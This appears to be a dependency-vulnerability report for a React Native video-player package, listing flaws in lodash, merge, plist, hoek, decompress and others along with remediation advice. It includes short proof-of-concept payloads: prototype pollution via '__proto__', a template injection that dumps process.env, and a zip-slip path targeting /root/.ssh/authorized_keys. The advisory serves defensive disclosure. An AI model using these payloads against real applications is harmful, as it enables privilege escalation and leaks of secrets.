There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
high severity
- Vulnerable module: merge
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › sane@1.4.1 › exec-sh@0.2.2 › merge@1.2.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
merge is a library that allows you to merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser.
Affected versions of this package are vulnerable to Prototype Pollution via _recursiveMerge
.
PoC:
const merge = require('merge');
const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');
let obj1 = {x: {y:1}};
console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);
Output:
Before : undefined
After : yes
After : yes
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade merge
to version 2.1.1 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Command Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
high severity
- Vulnerable module: lodash.template
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs-scripts@0.7.1 › gulp-util@3.0.8 › lodash.template@3.6.2
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › gulp-util@3.0.8 › lodash.template@3.6.2
Overview
lodash.template is a The Lodash method _.template exported as a Node.js module.
Affected versions of this package are vulnerable to Command Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
There is no fixed version for lodash.template
.
References
high severity
- Vulnerable module: plist
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
plist
is a Mac OS X Plist parser/builder for Node.js and browsers
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks due to bundling a vulnerable version of the XMLBuilder package. This can cause an impact of about 10 seconds matching time for data 60 characters long.
Disclosure Timeline
- Feb 5th, 2018 - Initial Disclosure to package owner
- Feb 6th, 2018 - Initial Response from package owner
- Mar 18th, 2018 - Fix issued
- Apr 15th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade plist
to version 3.0.1 or higher.
References
high severity
- Vulnerable module: shelljs
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › shelljs@0.5.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
shelljs is a wrapper for the Unix shell commands for Node.js.
Affected versions of this package are vulnerable to Improper Privilege Management. When ShellJS
is used to create shell scripts which may be running as root
, users with low-level privileges on the system can leak sensitive information such as passwords (depending on implementation) from the standard output of the privileged process OR shutdown privileged ShellJS
processes via the exec
function when triggering EACCESS errors.
Note: Thi only impacts the synchronous version of shell.exec()
.
Remediation
Upgrade shelljs
to version 0.8.5 or higher.
References
high severity
- Vulnerable module: plist
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
plist is a Mac OS X Plist parser/builder for Node.js and browsers.
Affected versions of this package are vulnerable to Prototype Pollution via the .parse()
, exploiting this vulnerability may lead to Denial of Service (DoS) and Remote Code Execution.
PoC:
var plist = require('plist');
var xmlPollution = `
<plist version="1.0">
<dict>
<key>__proto__</key>
<dict>
<key>length</key>
<string>polluted</string>
</dict>
</dict>
</plist>`;
console.log(plist.parse(xmlPollution).length); // polluted
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade plist
to version 3.0.4 or higher.
References
medium severity
- Vulnerable module: morgan
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › connect@2.30.2 › morgan@1.6.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
morgan is a HTTP request logger middleware for node.js.
Affected versions of this package are vulnerable to Arbitrary Code Injection. An attacker could use the format parameter to inject arbitrary commands.
Remediation
Upgrade morgan
to version 1.9.1 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: react-native@0.36.1 and react@15.3.2
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › node-fetch@1.7.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react@15.3.2 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location
response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.
Remediation
Upgrade node-fetch
to version 2.6.7, 3.1.1 or higher.
References
medium severity
- Vulnerable module: xmldom
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmldom@0.1.31
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmldom@0.1.31
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements are removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.
Note: Customers who use "xmldom" package, should use "@xmldom/xmldom" instead, as "xmldom" is no longer maintained.
Remediation
There is no fixed version for xmldom
.
References
medium severity
- Vulnerable module: decompress
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
decompress is a package that can be used for extracting archives.
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible to bypass the security measures provided by decompress and conduct ZIP path traversal through symlinks.
PoC
const decompress = require('decompress');
decompress('slip.tar.gz', 'dist').then(files => {
console.log('done!');
});
Details
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade decompress
to version 4.2.1 or higher.
References
medium severity
- Vulnerable module: decompress-tar
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › decompress-tar@3.1.0
Overview
decompress-tar is a tar plugin for decompress.
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). It is possible to bypass the security measures provided by decompress and conduct ZIP path traversal through symlinks.
PoC
const decompress = require('decompress');
decompress('slip.tar.gz', 'dist').then(files => {
console.log('done!');
});
Details
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
There is no fixed version for decompress-tar
.
References
medium severity
- Vulnerable module: hoek
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › joi@6.10.1 › hoek@2.16.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › joi@6.10.1 › topo@1.1.0 › hoek@2.16.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
hoek is an Utility methods for the hapi ecosystem.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object
prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade hoek
to version 4.2.1, 5.0.3 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1Remediation: Open PR to patch lodash@3.10.1.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object
prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.5 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: react-native@0.36.1 and react@15.3.2
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › node-fetch@1.7.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react@15.3.2 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
